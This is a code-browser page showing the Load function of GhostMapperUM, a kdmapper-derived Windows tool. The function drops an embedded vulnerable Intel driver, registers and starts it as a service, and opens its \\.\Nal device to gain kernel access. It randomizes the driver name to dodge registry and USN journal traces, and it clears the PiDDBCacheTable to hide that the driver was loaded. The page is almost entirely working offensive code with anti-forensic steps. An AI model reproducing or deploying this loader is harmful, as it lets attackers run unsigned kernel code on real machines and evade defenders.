MCPcopy Create free account
hub / github.com/0mWindyBug/GhostMapperUM / Load

Method Load

GhostMapperUM/GhostMapperUM/intel_driver.cpp:35–113  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

33}
34
35HANDLE intel_driver::Load() {
36 srand((unsigned)time(NULL) * GetCurrentThreadId());
37
38 //from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name
39 if (intel_driver::IsRunning()) {
40 Log(L"[-] \\Device\\Nal is already in use." << std::endl);
41 return INVALID_HANDLE_VALUE;
42 }
43
44 //Randomize name for log in registry keys, usn jornal and other shits
45 memset(intel_driver::driver_name, 0, sizeof(intel_driver::driver_name));
46 static const char alphanum[] =
47 "abcdefghijklmnopqrstuvwxyz"
48 "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
49 int len = rand() % 20 + 10;
50 for (int i = 0; i < len; ++i)
51 intel_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
52
53
54 std::wstring driver_path = GetDriverPath();
55 if (driver_path.empty()) {
56 Log(L"[-] Can't find TEMP folder" << std::endl);
57 return INVALID_HANDLE_VALUE;
58 }
59
60 _wremove(driver_path.c_str());
61
62 if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(intel_driver_resource::driver), sizeof(intel_driver_resource::driver))) {
63 Log(L"[-] Failed to create vulnerable driver file" << std::endl);
64 return INVALID_HANDLE_VALUE;
65 }
66
67 if (!service::RegisterAndStart(driver_path)) {
68 Log(L"[-] Failed to register and start service for the vulnerable driver" << std::endl);
69 _wremove(driver_path.c_str());
70 return INVALID_HANDLE_VALUE;
71 }
72
73 HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
74
75 if (!result || result == INVALID_HANDLE_VALUE)
76 {
77 intel_driver::Unload(result);
78 return INVALID_HANDLE_VALUE;
79 }
80
81 ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
82 if (ntoskrnlAddr == 0) {
83 Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
84 intel_driver::Unload(result);
85 return INVALID_HANDLE_VALUE;
86 }
87
88 if (!intel_driver::ClearPiDDBCacheTable(result)) {
89 Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl);
90 intel_driver::Unload(result);
91 return INVALID_HANDLE_VALUE;
92 }

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected